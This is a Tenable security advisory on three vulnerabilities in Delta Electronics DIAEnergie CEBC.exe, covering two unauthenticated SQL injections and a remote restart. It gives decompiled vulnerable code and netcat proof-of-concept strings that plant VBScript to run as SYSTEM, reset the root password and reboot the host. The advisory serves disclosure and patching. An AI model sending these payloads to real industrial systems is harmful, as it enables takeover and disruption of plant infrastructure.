Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Delta Electronics DIAEnergie CEBC.exe Multiple Vulnerabilities

Critical

Synopsis

Multiple vulnerabilities exist in Delta Electronics DIAEnergie CEBC.exe v1.10.1.8610.

CVE-2024-4547 - RecalculateScript Unauthenticated SQLi (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CEBC.exe listens on TCP port 928 and accepts and processes remote messages sent to that port.

An SQLi vulnerability exists when CEBC.exe processes a 'RecalculateScript' message, which is split into 4 fields using the '~' character as the separator. An unauthenticated remote attacker can perform SQLi via the fourth field:


[...]
if (@string.StartsWith("RecalculateScript"))
{
string[] array7 = @string.Split(new char[] { '~' });
if (array7.Length != 4)
{
string text21 = "Command Error!" + DateTime.Now.ToString();
byte[] bytes25 = Encoding.ASCII.GetBytes(text21);
this.socket_1.Send(bytes25, bytes25.Length, SocketFlags.None);
goto IL_F0C;
}
try
{
RecalculateScriptClass recalculateScriptClass = new RecalculateScriptClass();
recalculateScriptClass.timeStart = Convert.ToDateTime(array7[1]);
recalculateScriptClass.timeEnd = Convert.ToDateTime(array7[2]);
recalculateScriptClass.tidList = array7[3].Split(new char[] { ',' });
diaenergieSQLHandleClass.ExcuteSQL("UPDATE DIAE_tag SET recalculate=2 WHERE tid IN (" + array7[3] + ")");
new Thread(new ThreadStart(recalculateScriptClass.RecalculateScript))
{
IsBackground = true
}.Start();
[...]


PoC:


// 1. Insert VBScript code into the DIAE_script table and execute it as SYSTEM
// Use a different script name for more insertions
echo -n "RecalculateScript~2024-01-01 00:00:00~2024-01-02 00:00:00~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'run_cmd', N'CreateObject(\"WScript.shell\").run(\"notepad.exe\")', N'1', N'');--" |  nc <target-host> 928

// 2. Change DIAEnergie root password to 'password123' (without quotes)
echo -n "RecalculateScript~2024-01-01 00:00:00~2024-01-02 00:00:00~1); UPDATE DIAEnergie.dbo.DIAE_us SET pw=N'exJ/3E15SkSjem/EOj/JubyAEzX5F5zrBVKdPff2C9I=' WHERE uid=1;--" |  nc <target-host> 928


CVE-2024-4548 - RecalculateHDMWYC Unauthenticated SQLi (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

An SQLi vulnerability exists when CEBC.exe processes a 'RecalculateHDMWYC' message, which is split into 4 fields using the '~' character as the separator. An unauthenticated remote attacker can perform SQLi via the fourth field:


[...]
if (@string.StartsWith("RecalculateHDMWYC"))
{
string[] array4 = @string.Split(new char[] { '~' });
if (array4.Length != 4)
{
string text14 = "Command Error!" + DateTime.Now.ToString();
byte[] bytes19 = Encoding.ASCII.GetBytes(text14);
this.socket_1.Send(bytes19, bytes19.Length, SocketFlags.None);
goto IL_F0C;
}
try
{
Class8 @class = new Class8();
@class.dataTable_0 = diaenergieSQLHandleClass.GetDataTable("SELECT t.sc,u.en,t.tid,t.it,t.reg,t.tp,t.su,t.tbid FROM DIAE_tag AS t LEFT JOIN DIAE_un AS u ON t.un=u.unm WHERE t.del='0' AND t.re='1'", new string[0]);
@class.method_1(Convert.ToDateTime(array4[1]), Convert.ToDateTime(array4[2]), array4[3].Split(new char[]
[...]
// method of Class8
public void method_1(DateTime dateTime_1, DateTime dateTime_2, string[] string_0, bool bool_0 = false)
{
DIAEnergieSQLHandleClass diaenergieSQLHandleClass = new DIAEnergieSQLHandleClass(Define.localhostSQLClientConnectString);
Stopwatch stopwatch = new Stopwatch();
stopwatch.Restart();
try
{
Class8.logger_0.Debug<string, string, string>("Start RecalculateHDMWYC timeStart:{0} timeEnd:{1} tidList:{2}", dateTime_1.ToString("yyyy-MM-dd HH:mm:ss"), dateTime_2.ToString("yyyy-MM-dd HH:mm:ss"), string.Join(",", string_0));
DataTable dataTable = diaenergieSQLHandleClass.GetDataTable("SELECT * FROM DIAE_shift", new string[0]);
DataTable dataTable2 = diaenergieSQLHandleClass.GetDataTable("SELECT TOP 0 kid,ts,tid,result FROM DIAE_data", new string[0]).Clone();
DataTable dataTable3 = diaenergieSQLHandleClass.GetDataTable("SELECT ts,tid,result FROM DIAE_data WHERE ts>='{0}' AND ts<='{1}' AND tid IN ({2})", new string[]
{
dateTime_1.ToString("yyyy-MM-dd HH:mm:00"),
dateTime_2.AddMinutes((double)Define.RecordIdleMinutes).ToString("yyyy-MM-dd HH:mm:00"),
string.Join(",", string_0)
});
   [...]


PoC:


// 1.a Insert VBScript code into the DIAE_script table
// Use a different script name for more insertions
echo -n "RecalculateHDMWYC~2024-01-01 00:00:00~2024-01-02 00:00:00~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'run_cmd', N'CreateObject(\"WScript.shell\").run(\"notepad.exe\")', N'1', N'');--" |  nc 172.26.30.103 928
// 1.b Execute the VBScript code as SYSTEM
echo -n "RecalculateScript~2024-01-01 00:00:00~2024-01-02 00:00:00~1" |  nc <target-host> 928

// 2. Change DIAEnergie root password to 'attacker' (without quotes)
echo -n "RecalculateHDMWYC~2024-01-01 00:00:00~2024-01-02 00:00:00~1); UPDATE DIAEnergie.dbo.DIAE_us SET pw=N'uV5SW+n71LS/S/Bjd426N1hNF1r70booEbICe8yhAxc=' WHERE uid=1;--" |  nc <target-host> 928




CVE-2024-4549 - Unauthenticated DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

When processing an 'ICS Restart!' message, CEBC.exe restarts the system:
 


[...]
else if (@string == "ICS Restart!")
{
Process.Start(new ProcessStartInfo
{
FileName = "shutdown.exe",
Arguments = "-r -t 1"
});
[...]


PoC:
 

echo -n 'ICS Restart!' | nc <target-host> 928

Solution

Update to DIAEnergie v1.10.01.004 or later. Customers may need to contact their sales representatives to obtain patches.

Disclosure Timeline

February 14, 2024 - Tenable discloses to vendor.
February 21, 2024 - Tenable requests acknowledgement.
February 25, 2024 - Vendor acknowledges.
March 6, 2024 - Vendor states patch should be ready in May.
April 19, 2024 - Tenable requests status update.
May 4, 2024 - Vendor releases patches.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2024-13
Affected Products:
Delta Electronics DIAEnergie CEBC.exe v1.10.1.8610 and prior
Risk Factor:
Critical

Advisory Timeline

May 6, 2024 - Initial release.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training